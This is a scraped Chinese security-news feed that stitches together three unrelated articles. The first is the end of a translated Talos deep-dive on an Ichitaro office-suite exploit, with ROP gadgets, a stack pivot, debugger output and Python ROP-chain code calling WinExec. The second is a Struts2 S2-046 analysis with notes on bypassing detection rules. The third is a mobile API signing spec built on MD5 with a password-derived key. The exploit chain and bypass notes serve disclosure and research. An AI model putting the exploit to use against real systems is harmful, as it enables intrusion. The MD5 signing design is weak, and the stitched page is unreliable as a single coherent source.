0:000>!pymonamod-cmaslr=false -------------------------------------------------- 模块信息: -------------------------------------------------- 基地址||大小|ASLR|模块名,路径 -------------------------------------------------- 0x5f800000||0x000b1000|False|[JSFC.DLL] 0x026b0000||0x00007000|False|[jsvdex.dll] 0x27080000||0x000e1000|False|[JSCTRL.DLL] 0x3f680000||0x00103000|False|[JCXCALC.DLL] 0x22150000||0x00018000|False|[JSMACROS.DLL] 0x003b0000||0x00008000|False|[JSCRT40.dll] 0x61000000||0x0013b000|False|[JSAPRUN.DLL] 0x3c7c0000||0x01611000|False|[T26com.DLL] 0x23c60000||0x00024000|False|[JSDFMT.dll] 0x03ad0000||0x0000b000|False|[JSTqFTbl.dll] 0x40030000||0x0002c000|False|[JSFMLE.dll] 0x21480000||0x00082000|False|[jsgci.dll] 0x02430000||0x00008000|False|[JSSPLEX.DLL] 0x43ab0000||0x003af000|False|[T26STAT.DLL] 0x217b0000||0x0001b000|False|[JSDOC.dll] 0x22380000||0x0007a000|False|[JSFORM.OCX] 0x211a0000||0x00049000|False|[JSTDLIB.DLL] 0x21e50000||0x0002c000|False|[JSPRMN.dll] 0x02a80000||0x0000e000|False|[jsvdex2.dll] 0x277a0000||0x00086000|False|[jsvda.dll] 0x61200000||0x000c6000|False|[JSHIVW2.dll] 0x49760000||0x00009000|False|[Jsfolder.dll] 0x210f0000||0x000a1000|False|[JSPRE.dll] 0x213e0000||0x00022000|False|[jsmisc32.dll]

不用说,这些模块中有大量的ROP gadget可以用。唯一的问题是攻击者不能直接调用ROP gadget,因为vtable条目是一个指针。在编译ROP gadget列表之后,需要在所有模块中进行搜索,以查看所有ROP gadget地址是否出现在任何模块中,从而有效地查找找到的ROP gadget的指针。幸运的是,下面的gadget出现了。

file:JSFC.DLL JSFC.DLL.gadgets.40 Gadget:0x5f8170bc:subesp,4 pushebx pushesi moveax,dwordptr[ecx+0xa0] pushedi pushebp movesi,ecx testeax,eax je0x5f8170ee pushesi calleax Simplified file:JSFC.DLL gadget:0x5f8170bc:moveax,dwordptr[ecx+0xa0]; movesi,ecx calleax

此gadget允许指针从攻击者控制的缓冲区取值,并直接调用,允许直接调用gadget。作为来自第一个gadget的副作用,esi和ecx现在指向同一个攻击者控制的缓冲区。以下gadget实现完整stack pivot。

JSFC.DLL.gadgets.40 gadget:0x5f83636e:orbh,bh pushesi popesp moveax,edi popedi popesi popebp ret0x1c ]Simplified file:JSFC.DLL 26051:0x5f83636e:pushesi popesp ret0x1c

攻击者现在拥有完整的EIP和堆栈控制,允许构建适当的ROP链。

0:000>r eax=00000000ebx=ffffffffecx=04559138edx=0000ffffesi=62626262edi=5f86ecc8 eip=deadbeefesp=0455926cebp=62626262iopl=0nvupeingnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00010286 deadbeef????? 0:000>dcesp 0455926c61616161616161626161616361616164aaaabaaacaaadaaa 0455927c61616165616161666161616761616168eaaafaaagaaahaaa 0455928c616161696161616a6161616b6161616ciaaajaaakaaalaaa 0455929c6161616d6161616e6161616f61616170maaanaaaoaaapaaa 045592ac61616171616161726161617361616174qaaaraaasaaataaa 045592bc61616175616161766161617761616178uaaavaaawaaaxaaa 045592cc616161796261617a6261616262616163yaaazaabbaabcaab 045592dc62616164626161656261616662616167daabeaabfaabgaab

这时候,攻击者可以通过将一个DLL(S)的导入表导入ntdll中来尝试检索WinExec。从ntdll的一个偏移可以检索到Kernel32。从Kernel32,可以检索到WinExec的偏移量,并且可以执行直接命令。或者...

$r2-q-c'iiWinExec'T26COM.DLL ordinal=110plt=0x3d46c47cbind=NONEtype=FUNCname=KERNEL32.dll_WinExec ...WinExec可以由一个已经加载的DLL导入并且攻击者可以简单地使用该地址。编译一个简单的ROP链以将字符串calc.exe放入内存并传递给WinExec函数指针。 command=['calc','.exe','\0\0\0\0'] fori,substrinenumerate(command): payload+=pop_ecx_ret_8#popecx;ret8 payload+=p32(writable_addr+(i*4))#Buffertowritethecommand payload+=pop_eax_ret#popeax;ret payload+=p32(0xdeadbeec)#eatenbyret8 payload+=p32(0xdeadbeed)#eatenbyret8 payload+=substr#Currentfourbytestowrite payload+=write_mem#movdword[ecx],eax;xoreax,eax ret

一旦命令字符串在内存中,取值WinExec指针并使用缓冲区调用它想执行的命令。

#DerefWinExecimport payload+=pop_edi_esi_ebx_ret payload+=p32(winexec-0x64)#popedi(offsetdueto[edi+0x64]) payload+=p32(0xdeadbeee)#eatenbypopesi payload+=p32(0xdeadbeef)#eatenbypopebx #CallWinExecwithbufferpointingtocalc.exe payload+=deref_edi_call#movesi,dword[edi+0x64];callesi payload+=p32(writable_addr)#Bufferwithcommand payload+=p32(1)#Displaythecalc(0willhidethecommandoutput)

下面视频中显示的是在Windows 7运行关于Ichitaro 2016 v0.3.2612的漏洞利用。

https://3.bp.blogspot.com/-JyhFqP4cFgY/WLBjwW1YBmI/AAAAAAAAAR0/6NGkmAnrbTw5JTPGvv2d26pPDZ3xe-s1gCLcB/s640/image00.gif


结论

乍一看报告说,应用程序不检查由特定文件格式提供的长度值是否大于零可能听起来像一个错误,而不是一个漏洞。我们希望这篇文章可以描述一个漏洞开发者如何利用程序逻辑中的一个非常简单的遗漏来创建一个武器化文件,该文件可用于在受害者的系统上执行任意代码。

这些漏洞的性质以及它们对威胁主体的吸引力,就是为什么系统与补丁需要保持更新的最重要原因。这也是为什么Talos要在发布漏洞详细信息之前,开发并发布对发现的每个漏洞进行检测的原因。

Talos致力于在坏人之前发现软件漏洞,并根据我们负责的漏洞披露政策与供应商合作,以确保这样的武器化攻击不会导致系统受损。

Snort规则:40125 - 40126,41703 - 41704


【漏洞分析】日版WPS远程代码执行漏洞详细分析
【漏洞分析】日版WPS远程代码执行漏洞详细分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.talosintelligence.com/2017/02/vulnerability-deep-dive-ichitaro-office.html

【漏洞分析】Strust2 S2-046 远程代码执行漏洞两个触发点分析

$
0
0
【漏洞分析】Strust2 S2-046 远程代码执行漏洞两个触发点分析

2017-03-21 14:34:15
来源:安全客 作者:360天眼实验室

阅读:3285次
点赞(0)
收藏





【漏洞分析】Strust2 S2-046 远程代码执行漏洞两个触发点分析

传送门

【重大漏洞预警】Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)


0x00 漏洞介绍

S2-046漏洞和S2-045漏洞非常相似,都是由报错信息带入了buildErrorMessage这个方法造成的。 但是这次存在两个触发点。

Content-Length 的长度值超长

Content-Disposition的filename存在空字节


0x01 漏洞分析

Content-Length 的长度值超长

这个漏洞需要在strust.xml中加入 <constant name="struts.multipart.parser" value="jakarta-stream" />才能触发。

触发漏洞的代码在 JakartaStreamMultiPartRequest类中,processUpload函数处理了content-length长度超长的异常,导致问题触发。

privatevoidprocessUpload(HttpServletRequestrequest,StringsaveDir) throwsException{ //Sanitycheckthattherequestisamulti-part/form-datarequest. if(ServletFileUpload.isMultipartContent(request)){ //Sanitycheckonrequestsize. booleanrequestSizePermitted=isRequestSizePermitted(request); //InterfacewithCommonsFileUploadAPI //UsingtheStreamingAPI ServletFileUploadservletFileUpload=newServletFileUpload(); FileItemIteratori=servletFileUpload.getItemIterator(request); //Iteratethefileitems while(i.hasNext()){ try{ FileItemStreamitemStream=i.next(); //Ifthefileitemstreamisaformfield,delegatetothe //fielditemstreamhandler if(itemStream.isFormField()){ processFileItemStreamAsFormField(itemStream); } //Delegatethefileitemstreamforafilefieldtothe //fileitemstreamhandler,butdelegationisskipped //iftherequestSizePermittedcheckfailedbasedonthe //completecontent-sizeoftherequest. else{ //preventprocessingfilefielditemifrequestsizenotallowed. //alsowarnuserinthelogs. if(!requestSizePermitted){ addFileSkippedError(itemStream.getName(),request); LOG.warn("Skippedstream'#0',requestmaximumsize(#1)exceeded.",itemStream.getName(),maxSize); continue; } processFileItemStreamAsFileField(itemStream,saveDir); } }catch(IOExceptione){ e.printStackTrace(); } } } } 触发点在
LOG.warn("Skippedstream'#0',requestmaximumsize(#1)exceeded.",itemStream.getName(),maxSize);

之后进入了函数addFileSkippedError,我们又见到了熟悉的buildErrorMessage,而这次带入的参数为fileName

privatevoidaddFileSkippedError(StringfileName,HttpServletRequestrequest){ StringexceptionMessage="Skippedfile"+fileName+";requestsizelimitexceeded."; FileSizeLimitExceededExceptionexception=newFileUploadBase.FileSizeLimitExceededException(exceptionMessage,getRequestSize(request),maxSize); Stringmessage=buildErrorMessage(exception,newObject[]{fileName,getRequestSize(request),maxSize}); if(!errors.contains(message)) errors.add(message); }

Content-Disposition的filename存在空字节

第二种触发漏洞的方式,属于直接触发,在streams.class中,会对filename进行检查,如果检查出错,也会记录log。

publicstaticStringcheckFileName(StringfileName){ if(fileName!=null&&fileName.indexOf('\u0000')!=-1){ //pFileName.replace("\u0000","\\0") finalStringBuildersb=newStringBuilder(); for(inti=0;i<fileName.length();i++){ charc=fileName.charAt(i); switch(c){ case0: sb.append("\\0"); break; default: sb.append(c); break; } } thrownewInvalidFileNameException(fileName, "Invalidfilename:"+sb); } returnfileName; }

最终进入的是JakartaStreamMultiPartRequest类的,我们又见到了buildErrorMessage

publicvoidparse(HttpServletRequestrequest,StringsaveDir) throwsIOException{ try{ setLocale(request); processUpload(request,saveDir); }catch(Exceptione){ e.printStackTrace(); StringerrorMessage=buildErrorMessage(e,newObject[]{}); if(!errors.contains(errorMessage)) errors.add(errorMessage); } }

0x02 规则添加注意点

由于存在两种方式,因此规则不是很好添加。且存在一定情况的bypass可能。

由于strust2会对data字段逐字解析,filename后可以跟如下几种情况。

多个空格

多个空格,且里面可以添加\r\n

n个空格


【漏洞分析】Strust2 S2-046 远程代码执行漏洞两个触发点分析

\0b不可当成检测字符,\0b可以被替换成\0000,\0a - \0z 等等。


【漏洞分析】Strust2 S2-046 远程代码执行漏洞两个触发点分析

0x03 漏洞修复

升级版本到 2.3.32 、 2.5.10.1


传送门

【重大漏洞预警】Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)



【漏洞分析】Strust2 S2-046 远程代码执行漏洞两个触发点分析
【漏洞分析】Strust2 S2-046 远程代码执行漏洞两个触发点分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3639.html

移动接口安全规范

$
0
0

接口一律采用https , 如:

https://api.xxx.cn/version/controller/action 请求参数 字段名 变量名 类型 描述 业务动作 action String(32) 操作, 如: add 业务内容 content String(32) 业务数据, json对象 控制模块 controller String(32) 业务模块, 如: user 随机字符串 nonceStr String(32) 随机字符串, 不长于32位。推荐随机数生成算法 签名 sign String(32) 签名,详见签名生成算法 签名类型 sign_type String(32) 签名类型, 如HMAC-SHA256或MD5, 默认为MD5 服务Id serviceId String(32) 用于服务器快速定位用户的临时数据, 在app第一次注册的时候获取 返回结果 字段名 变量名 类型 描述 业务动作 action String(32) 操作, 如: add 业务内容 content String(32) 业务数据, json对象 控制模块 controller String(32) 业务模块, 如: user 返回状态码 returnCode String(16) SUCCESS/FAIL 此字段是通信标识,非交易标识,交易是否成功需要查看result_code来判断 返回信息 returnMsg String(128) 返回信息,如非空,为错误原因签名失败参数格式校验错误 签名算法

第一步

将所有的数据(剔除签名字段), 按照key值的ASCII码从小到大排序, 直接输出成json字符串stringA.

参数名ASCII码从小到大排序(字典序); 参数名区分大小写;

第二步

在stringA的后面拼接和服务器约定的密钥, 使用密码. 得到stringATemp, 再对stringATemp进行MD5运算, 将得到的字符串全部转换成大写, 得到sign的值

假设待提交的数据:

{ "action": "add", "nonceStr": "ibuaiVcKdpRxkhJA", "content": { "userName": "111", "passWord":"123" }, "controller": "user", }

第一步之后得到字符串

stringA = {"action": "add","content": {"userName": "111","passWord":"123" },"controller": "user","nonceStr":"ibuaiVcKdpRxkhJA"}

第二步拼接key

stringATemp = stringA + password sign=MD5(stringSignTemp).toUpperCase()="9A0A8659F005D6984697E2CA0A9CF3B7"

最终得到的发出去的数据为:

{ "action": "add", "nonceStr": "ibuaiVcKdpRxkhJA", "content": { "userName": "111", "passWord":"123" }, "controller": "user", "sign": "9A0A8659F005D6984697E2CA0A9CF3B7" } key值的约定

key值的约定

由于服务器的密码存储一般是 md5(password + salt) 记为 A 值, 但是在login的时候, 这个 A 值会在网络层中传输一次, 如果攻击者劫持了login接口, 那么就获取了key值,

所以建议在服务器表中除了 A , 再多存储一个 md5(password + salt2) 记为 B ,

这个 B 值作为客户的与服务器约定密码key值, 即传输报文的salt.

随机数

主要保证签名不可预测

java public static String random() { return UUID.randomUUID().toString().replace("-", ""); } oc + (NSString *)random { return [[[NSUUID UUID] UUIDString] stringByReplacingOccurrencesOfString:@"-" withString:@""]; } 实现 Android

实现算法的第一步和第二步 (使用 fastjson , 可自动实现key值排序)

/** * 计算jsonObject的json值, 并添加key * * @param jsonObject * @param uuid, 和服务器约定的密钥, 可用password代替 * @return */ publicstaticStringencode(JSONObject jsonObject, String uuid){ StringBuilder sb = new StringBuilder(); sb.append(jsonObject.toJSONString()); sb.append(uuid); String md5 = MD5.stringMD5(sb.toString()); return md5; }

调用

/** * 对发送的json加密 * * @param jsonObject * @param uuid * @param serviceId * @return */ publicstaticJSONObjectencryptJSON(JSONObject jsonObject, String uuid, String serviceId){ jsonObject.put("sign", encode(jsonObject, uuid)); jsonObject.put("serviceId", serviceId); return jsonObject; }

校验服务器返回数据

/** * 检查服务器返回json是否正确 * * @param jsonObject * @param uuid, 和服务器约定的密钥, 一般可用用户密码 * @return */ publicstaticbooleancheckEncrypt(JSONObject jsonObject, String uuid){ String checkNumService = jsonObject.getString("sign"); jsonObject.remove("sign"); return checkNumService != null && checkNumService.equals(encode(jsonObject, uuid)); } iOS

工具方法

// 获取随机数 + (NSString *)random { return [[[NSUUID UUID] UUIDString] stringByReplacingOccurrencesOfString:@"-" withString:@""]; } // MD5计算 + (NSString *)md5:(NSString *)str { const char *cStr = [str UTF8String];//转换成utf-8 unsigned char result[16];//开辟一个16字节(128位:md5加密出来就是128位/bit)的空间(一个字节=8字位=8个二进制数) CC_MD5(cStr, strlen(cStr), result); /* extern unsigned char *CC_MD5(const void *data, CC_LONG len, unsigned char *md)官方封装好的加密方法 把cStr字符串转换成了32位的16进制数列(这个过程不可逆转) 存储到了result这个空间中 */ return [NSString stringWithFormat:@"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", result[0], result[1], result[2], result[3], result[4], result[5], result[6], result[7], result[8], result[9], result[10], result[11], result[12], result[13], result[14], result[15] ]; /* x表示十六进制,%02X 意思是不足两位将用0补齐,如果多余两位则不影响 NSLog("%02X", 0x888); //888 NSLog("%02X", 0x4); //04 */ } //字典转json格式字符串: + (NSString *)dictionaryToJson:(NSDictionary *)dic { NSError *parseError = nil; NSData *jsonData = [NSJSONSerialization dataWithJSONObject:dic options:NSJSONWritingPrettyPrinted error:&parseError]; return [[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding]; }

实现算法第一步和第二步

// 加密 + (NSString *)encode:(NSMutableDictionary *)jsonObject uuid:(NSString *)uuid { jsonObject[NONCE_STR] = [self random]; //在原来的json里面添加随机字符串 // 对字典输出json string 精选排序 OrderedDictionary *orderedDictionary = [[OrderedDictionary alloc] initWithDictionary:jsonObject]; NSString *json = [orderedDictionary toJSONString]; NSString *jsonString = [json stringByAppendingString:uuid]; // 将json -> string NSLog(@"jsonString %@", jsonString); return [[self md5:jsonString] uppercaseString]; // -> md5 -> upper case }

NSDictionary按属性排序导出json string

OrderedDictionary 代码地址

调用

// 对发送数据加密 + (NSMutableDictionary *)encryptJSON:(NSMutableDictionary *)jsonObject uuid:(NSString *)uuid serviceId:(NSString *)serviceId { [jsonObject setObject:[self encode:jsonObject uuid:uuid] forKey:SIGN]; [jsonObject setObject:serviceId forKey:SERVICE_ID]; return jsonObject; }

校验

//校验收到的数据是否被篡改 + (BOOL)checkEncrypt:(NSMutableDictionary *)jsonObject uuid:(NSString *)uuid { NSString *sign = [jsonObject objectForKey:SIGN]; [jsonObject removeObjectForKey:SIGN]; return sign != nil && [sign isEqualToString:[self encode:jsonObject uuid:uuid]]; } 服务器

java 和Android一致, 只是不需要传serviceId

实现算法的第一步和第二步 (使用 fastjson , 可自动实现key值排序)

/** * 计算jsonObject的json值, 并添加key * * @param jsonObject * @param uuid, 和服务器约定的密钥, 可用password代替 * @return */ publicstaticStringencode(JSONObject jsonObject, String uuid){ StringBuilder sb = new StringBuilder(); sb.append(jsonObject.toJSONString()); sb.append(uuid); String md5 = MD5.stringMD5(sb.toString()); return md5; }

调用

/** * 对发送的json加密 * * @param jsonObject * @param uuid * @param serviceId * @return */ publicstaticJSONObjectencryptJSON(JSONObject jsonObject, String uuid){ jsonObject.put("sign", encode(jsonObject, uuid)); return jsonObject; }

校验服务器返回数据

/** * 检查客户的提交json是否正确 * * @param jsonObject * @param uuid, 和客户端约定的密钥, 一般可用用户密码 * @return */ publicstaticbooleancheckEncrypt(JSONObject jsonObject, String uuid){ String checkNumService = jsonObject.getString("sign"); jsonObject.remove("sign"); return checkNumService != null && checkNumService.equals(encode(jsonObject, uuid)); } 说明

由于iOS的 Dictionary 的无序性, 这里提供一个自己实现的OrderedDictionary, 源码献上 .

Viewing all 12749 articles
Browse latest View live